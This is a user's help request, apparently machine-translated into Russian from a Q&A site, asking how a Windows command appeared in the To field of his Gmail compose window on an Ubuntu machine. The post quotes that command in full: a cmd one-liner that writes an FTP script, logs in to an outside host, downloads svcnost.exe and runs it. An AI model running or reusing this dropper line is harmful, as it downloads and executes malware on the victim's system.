Мой домашний компьютер обычно включен, но монитор выключен. Этим вечером я пришел домой с работы и обнаружил, что выглядит как попытка взлома: в моем браузере был открыт мой Gmail (это был я), но он находился в режиме составления со следующим в TO
поле:
md / c echo open cCTeamFtp.yi.org 21 >> ik & echo user ccteam10 765824 >> ik & echo binary >> ik & echo get svcnost.exe >> ik & echo bye >> ik & ftp -n -v -s: ik & del ik & svcnost.exe & exit echo
Для меня это выглядит как код командной строки Windows, а md
запуск кода в сочетании с тем фактом, что Gmail находился в режиме создания, делает очевидным, что кто-то пытался выполнить cmd
команду. Думаю, мне повезло, что я не запускаю Windows на этом ПК, но у меня есть другие, которые делают это. Это первый раз, когда подобное случается со мной. Я не гуру Linux, и в то время я не запускал никаких других программ, кроме Firefox.
Я абсолютно уверен, что я не написал это, и никто другой не был физически за моим компьютером. Кроме того, я недавно изменил свой пароль Google (и все остальные мои пароли) на что-то вроде этого, vMA8ogd7bv
поэтому я не думаю, что кто-то взломал мою учетную запись Google.
Что сейчас произошло? Как кто-то нажимает клавиши на моем компьютере, если это не старая машина Windows, на которой работает бабушка, годами запускающая вредоносное ПО, а недавно установленная новая версия Ubuntu?
Обновление:
позвольте мне обратиться к некоторым пунктам и вопросам:
- Я в Австрии, в деревне. Мой маршрутизатор WLAN использует WPA2 / PSK и пароль средней надежности, которого нет в словаре; должен был быть грубым и менее чем в 50 метрах отсюда; маловероятно, что его взломали.
- Я использую проводную клавиатуру USB, так что очень маловероятно, что кто-то может быть в пределах досягаемости, чтобы взломать ее.
- Я не использовал свой компьютер в то время; это было просто бездельничать дома, пока я был на работе. Это установленный на мониторе неттоп ПК, поэтому я редко его выключаю.
- Машине всего два месяца, работает только Ubuntu, и я не использую странные программы и не посещаю странные сайты. В основном это Stack Exchange, Gmail и газеты. Нет игр. Ubuntu настроен на то, чтобы обновляться.
- Я не знаю ни одного работающего сервиса VNC; Я, конечно, не установил или не включил один. Я также не запускал никаких других серверов. Я не уверен, если какие-либо из них работают в Ubuntu по умолчанию?
- Я знаю все IP-адреса в учетной записи Gmail. Я уверен, что Google не был прихожей.
- Я нашел средство просмотра файлов журнала , но не знаю, что искать. Помогите?
Что я действительно хочу знать, так это то, что заставляет меня чувствовать себя небезопасно, так это то, как кто-то из Интернета может нажимать клавиши на моей машине? Как я могу предотвратить это, не думая об этом? Я не фанат Linux, я отец, который уже более 20 лет работает с Windows и устал от этого. И за все 18 с лишним лет пребывания в сети я никогда лично не видел попыток взлома, так что для меня это ново.
password
:-)